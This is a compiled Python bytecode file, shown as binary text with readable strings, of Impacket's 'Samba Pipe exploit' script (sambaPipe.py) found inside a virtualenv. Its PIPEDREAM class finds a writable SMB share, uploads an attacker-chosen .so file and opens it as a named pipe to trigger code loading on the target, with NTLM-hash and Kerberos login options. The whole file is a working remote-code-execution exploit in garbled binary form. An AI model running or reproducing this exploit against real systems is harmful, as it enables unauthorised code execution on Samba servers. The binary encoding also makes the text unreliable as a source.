o
    àý°jé0  ã                
   @   sœ  d dl Z d dlZd dlZd dlmZ d dlmZ d dlmZ d dl	m
Z
 d dlmZ d dlmZmZmZmZmZmZmZmZmZmZmZ d dlmZmZmZmZmZmZm Z m!Z! d d	l"m#Z# G d
d„ dƒZ$e%dk�rÌe&ej'ƒ e j(ddd�Z)e)j*dddd� e)j*ddddd� e)j*dddd� e)j*dddd� e) +d¡Z,e,j*ddddd � e,j*d!dd"d� e,j*d#dd$d� e,j*d%dd&d'd � e) +d(¡Z,e,j*d)dd*d+d � e,j*d,dd*d-d � e,j*d.d/d0gd1d0d2d3d4� e-ej.ƒd5kròe) /¡  e 0d5¡ e) 1¡ Z2e 3e2j4e2j5¡ e
e2j6ƒ\Z7Z8Z9Z:e2j;du �re:e2_;e7du �rd6Z7e9d6k�r=e8d6k�r=e2j<du �r=e2j=d7u �r=e2j>du �r=d d8l?m?Z? e?d9ƒZ9e2j>du�rFde2_@e2j<du�rUe2j< Ad:¡\ZBZCnd6ZBd6ZCzFe#e:e2j;eDe2jEƒd;�ZFe2j@du �ryeF Ge8e9e7eBeCe2j>e2jH¡ n	eF Ie8e9e7eBeC¡ eF J¡ ek�r”eFjKjLd<  e! M  < e$eFe2ƒZMeM N¡  W dS  eO�yË ZP ze Q¡ jRejSk�r¹d dlTZTeT U¡  e VeWePƒ¡ W Y dZP[PdS dZP[Pww dS )=é    N)Úpath)Úversion)Úlogger)Úparse_target)ÚSTATUS_SUCCESS)Ú	FILE_OPENÚSMB_DIALECTÚSMBÚ
SMBCommandÚSMBNtCreateAndX_ParametersÚSMBNtCreateAndX_DataÚFILE_READ_DATAÚFILE_SHARE_READÚFILE_NON_DIRECTORY_FILEÚFILE_WRITE_DATAÚFILE_DIRECTORY_FILE)ÚSMB2_IL_IMPERSONATIONÚSMB2_CREATEÚSMB2_FLAGS_DFS_OPERATIONSÚ
SMB2CreateÚ
SMB2PacketÚSMB2Create_ResponseÚSMB2_OPLOCK_LEVEL_NONEÚSMB2_SESSION_FLAG_ENCRYPT_DATA)ÚSMBConnectionc                   @   sN   e Zd Zdd„ Zdd„ Zdd„ Zdd„ Zed	ed
fdd„Z	dd„ Z
dd„ Zd
S )Ú	PIPEDREAMc                 C   s   || _ || _d S )N)Ú_PIPEDREAM__smbClientÚ_PIPEDREAM__options)ÚselfÚ	smbClientÚoptions© r!   ú‰/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/../../../bin/sambaPipe.pyÚ__init__3   s   
zPIPEDREAM.__init__c              
   C   sš   t  d| ¡ zt  d| ¡ | j |¡}W n ty0 } zt  t|ƒ¡ W Y d }~dS d }~ww z| jj|dttd� d}W |S  tyL   d}Y |S w )NzChecking %s for write accesszConnecting to share %sFú\)ÚcreationOptionT)	ÚloggingÚdebugr   ÚconnectTreeÚ	ExceptionÚstrÚopenFiler   r   )r   Ú	shareNameÚtidÚeÚwritabler!   r!   r"   ÚisShareWritable7   s$   €þüüzPIPEDREAM.isShareWritablec                 C   sÊ   ddl m}m} |j| j ¡ | j ¡ d| jd�}| ¡ }| ¡  | 	|j
¡ | |d¡}|d d d d	 D ]*}|  |d
 d d… ¡r`|d  d¡dd … d d d… }|d
 d d… |f  S q6tdƒ‚)Nr   )Ú	transportÚsrvsz\srvsvc)ÚfilenameÚsmb_connectioné   Ú
InfoStructÚ	ShareInfoÚLevel2ÚBufferÚshi2_netnameéÿÿÿÿÚ	shi2_pathú:z"No suitable share found, aborting!)Úimpacket.dcerpc.v5r1   r2   ÚSMBTransportr   ÚgetRemoteNameÚgetRemoteHostÚget_dce_rpcÚconnectÚbindÚMSRPC_UUID_SRVSÚhNetrShareEnumr0   Úsplitr)   )r   r1   r2   ÚrpctransportÚdceÚrespÚshareÚ	sharePathr!   r!   r"   ÚfindSuitableShareI   s   ÿ"þzPIPEDREAM.findSuitableSharec                 C   sP   t  | jj dd¡¡}t d| ¡ t| jjdƒ}| j 	|||j
¡ | ¡  |S )Nr$   ú/zUploading %s to targetÚrb)r   Úbasenamer   ÚsoÚreplacer&   ÚinfoÚopenr   ÚputFileÚreadÚclose)r   r,   ÚfileNameÚfhr!   r!   r"   ÚuploadSoFileX   s   zPIPEDREAM.uploadSoFiler   Nc                 C   sV  | j  ¡  ¡ }t|d< ||d< | j jjd | d du r t|d< tƒ }d|d< |
|d	< ||d
< ||d< ||d< ||d< ||d< ||d< t|ƒd |d< |dkrW| 	d¡|d< nd|d< |d ur||d  |7  < tt
ƒ ƒtj |d  |d< t|ƒ|d< nd|d< d|d< ||d< | j  ¡  |¡}| j  ¡  |¡}| t¡r©t|d ƒ}t|d ƒS d S )NÚCommandÚTreeIDÚTreeConnectTableÚ
IsDfsShareTÚFlagsr   ÚSecurityFlagsÚRequestedOplockLevelÚImpersonationLevelÚDesiredAccessÚFileAttributesÚShareAccessÚCreateDispositionÚCreateOptionsr5   Ú
NameLengthÚ úutf-16ler9   ó    ÚCreateContextsOffsetÚCreateContextsLengthÚDataÚFileID)r   ÚgetSMBServerÚ
SMB_PACKETr   Ú_SMBConnectionÚ_Sessionr   r   ÚlenÚencoder   ÚSIZEÚsendSMBÚrecvSMBÚisValidAnswerr   r   r*   )r   ÚtreeIdrX   ÚdesiredAccessÚ	shareModeÚcreationOptionsÚcreationDispositionÚfileAttributesÚimpersonationLevelÚsecurityFlagsÚoplockLevelÚcreateContextsÚpacketÚ
smb2CreateÚpacketIDÚansÚcreateResponser!   r!   r"   Úcreatea   s>   
úzPIPEDREAM.createc              	   C   sZ  | j  d¡}| dd¡}dt ||¡ }t d| ¡ t d¡ | j  ¡ tkr¡| j  	¡  
¡ \}}|tj@ r:| d¡n|}ttjƒ}tƒ |d< t|d�|d	< t|ƒ|d d
< t|d d< d|d d< t|d d< t|d d< t|d d< t|d d< d|d d< d|d d< ||d	 d< |tj@ r–d|d	 d< | j  	¡ j|||d�S | j||ttttdd�S )NzIPC$r$   rN   zFinal path to load is %sz&Triggering bug now, cross your fingersrj   Ú
Parameters)Úflagsrn   ÚFileNameLengthÚ
AccessMaskr   rd   re   ÚDispositionrg   ÚImpersonationr`   é   ÚCreateFlagsÚFileNameÚPad)Úcmd)r{   r|   r}   r~   r   )r   r(   rR   r   Újoinr&   rS   Ú
getDialectr   rp   Ú	get_flagsr	   ÚFLAGS2_UNICODEru   r
   ÚSMB_COM_NT_CREATE_ANDXr   r   rt   r   r   r   r   r   Únt_create_andxr‰   )r   rL   rX   rz   ÚpathNameÚ_Úflags2ÚntCreater!   r!   r"   ÚopenPipe�   s6   



ÿzPIPEDREAM.openPipec              
   C   sþ   t  d¡ |  ¡ \}}t  d||f ¡ |  |¡}t  d| ¡ zQz|  ||¡ W n* tyS } zt|ƒ d¡dkr@t  d¡ n	t  dt|ƒ ¡ W Y d }~nd }~ww W t  d¡ | j 	||¡ d S W t  d¡ | j 	||¡ d S t  d¡ | j 	||¡ w )	Nz#Finding a writeable share at targetzFound share %s with path %szShare path is %sÚSTATUS_OBJECT_NAME_NOT_FOUNDr   zSExpected STATUS_OBJECT_NAME_NOT_FOUND received, doesn't mean the exploit worked thoz+Target likely not vulnerable, Unexpected %szRemoving file from target)
r&   rS   rM   rZ   rŸ   r)   r*   Úfindr   Ú
deleteFile)r   r,   rL   rX   r.   r!   r!   r"   Úrun³   s*   

€üÿ
€
ÿ
ÿzPIPEDREAM.run)Ú__name__Ú
__module__Ú__qualname__r#   r0   rM   rZ   r   r   r‰   rŸ   r£   r!   r!   r!   r"   r   2   s    

þ.$r   Ú__main__TzSamba Pipe exploit)Úadd_helpÚdescriptionÚtargetÚstorez6[[domain/]username[:password]@]<targetName or address>)ÚactionÚhelpz-sozso filename to upload and load)r¬   Úrequiredr­   z-debugÚ
store_truezTurn DEBUG output ONz-tsz&Adds timestamp to every logging outputÚauthenticationz-hasheszLMHASH:NTHASHz$NTLM hashes, format is LMHASH:NTHASH)r¬   Úmetavarr­   z-no-passz&don't ask for password (useful for -k)z-kzÁUse Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command linez-aesKeyzhex keyz<AES key to use for Kerberos Authentication (128 or 256 bits)Ú
connectionz-dc-ipz
ip addressztIP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameterz
-target-ipz£IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve itz-portÚ139Ú445ú?zdestination portz)Destination port to connect to SMB Server)ÚchoicesÚnargsÚdefaultr±   r­   é   ri   F)Úgetpassz	Password:r=   )Ú	sess_portÚSessionFlags)XÚargparser&   ÚsysÚosr   Úimpacketr   Úimpacket.examplesr   Úimpacket.examples.utilsr   Úimpacket.nt_errorsr   Úimpacket.smbr   r   r	   r
   r   r   r   r   r   r   r   Úimpacket.smb3structsr   r   r   r   r   r   r   r   Úimpacket.smbconnectionr   r   r¤   ÚprintÚBANNERÚArgumentParserÚparserÚadd_argumentÚadd_argument_groupÚgrouprt   ÚargvÚ
print_helpÚexitÚ
parse_argsr    ÚinitÚtsr'   rª   ÚdomainÚusernameÚpasswordÚaddressÚ	target_ipÚhashesÚno_passÚaesKeyrº   ÚkrG   ÚlmhashÚnthashÚintÚportr   ÚkerberosLoginÚdc_ipÚloginr–   rr   rs   Ú	pipeDreamr£   r)   r.   Ú	getLoggerÚlevelÚDEBUGÚ	tracebackÚ	print_excÚerrorr*   r!   r!   r!   r"   Ú<module>   s’   !4( 


ÿ

ÿ
ÿÿ

8
€üµ